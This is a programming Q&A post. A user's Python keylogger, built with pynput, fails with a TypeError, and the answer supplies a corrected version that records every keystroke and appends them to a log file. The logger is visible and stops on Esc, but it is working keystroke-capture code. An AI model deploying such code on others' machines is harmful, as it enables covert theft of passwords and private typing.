pythonpython-3.xkeylogger

I made a simple keylogger program using python but it displays "TypeError: write_file() takes 0 positional arguments but 1 was given"


This is my main program, and I have used pynput library to make this program:

import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
    global keys, count
    keys.append(key)
    count += 1
    print("{0} pressed".format(key))

    if count >= 10:
        count = 0
        write_file(key)
        keys = []

def write_file():
    with open("log.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write("\n")
            elif k.find("Key") == -1:
                f.write(k)
            f.write(str(key))

def on_release(key):
    if key == Key.esc:
        return False

    


with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

On console, the program keeps track of all the keys being pressed but when the count reaches it's limit, instead of storing the data in "log.txt" it displays:

Key.shift pressed
    'H' pressed
    'e' pressed
    'l' pressed
    'l' pressed
    'o' pressed
    Key.space pressed
    'w' pressed
    'o' pressed
    Unhandled exception in listener callback
    Traceback (most recent call last):
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 211, in inner
        return f(self, *args, **kwargs)
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\keyboard\_win32.py", line 280, in _process
        self.on_press(key)
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 127, in inner
        if f(*args) is False:
      File "C:/Users/Innnova/PycharmProjects/Keylogger/main.py", line 16, in on_press
        write_file(key)
    TypeError: write_file() takes 0 positional arguments but 1 was given
    Traceback (most recent call last):
      File "C:/Users/Innnova/PycharmProjects/Keylogger/main.py", line 37, in <module>
        listener.join()
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 259, in join
        six.reraise(exc_type, exc_value, exc_traceback)
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\six.py", line 702, in reraise
        raise value.with_traceback(tb)
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 211, in inner
        return f(self, *args, **kwargs)
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\keyboard\_win32.py", line 280, in _process
        self.on_press(key)
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 127, in inner
        if f(*args) is False:
      File "C:/Users/Innnova/PycharmProjects/Keylogger/main.py", line 16, in on_press
        write_file(key)
    TypeError: write_file() takes 0 positional arguments but 1 was given
    'r' pressed

As you can see, I was trying to write "Hello World" but as soon as I reach the word R in "Hello World" the program throws the TypeError on me


Solution

  • Remove one write-command from write_file() to avoid duplicate output to the logfile. I have modified the code slightly, see inline comments.

    import pynput
    
    from pynput.keyboard import Key, Listener
    
    count = 0
    keys = []
    
    def on_press(key):
        global keys, count
        keys.append(key)
        count += 1
        print("{0} pressed".format(key))
    
        if count >= 10:
            count = 0
            write_file(keys)
            keys = []
    
    def write_file(keys):
        with open("pynput-log.txt", "a") as f:
            for key in keys:
                k = str(key).replace("'","")
                if k.find("space") > 0:
                    f.write("\n")
                elif k.find("Key") == -1:
                    f.write(k)
                #f.write(str(key))  this caused duplicate output
    
    def on_release(key):
        if key == Key.esc:
            write_file(keys)  # write remaining data
            return False
    
    with Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()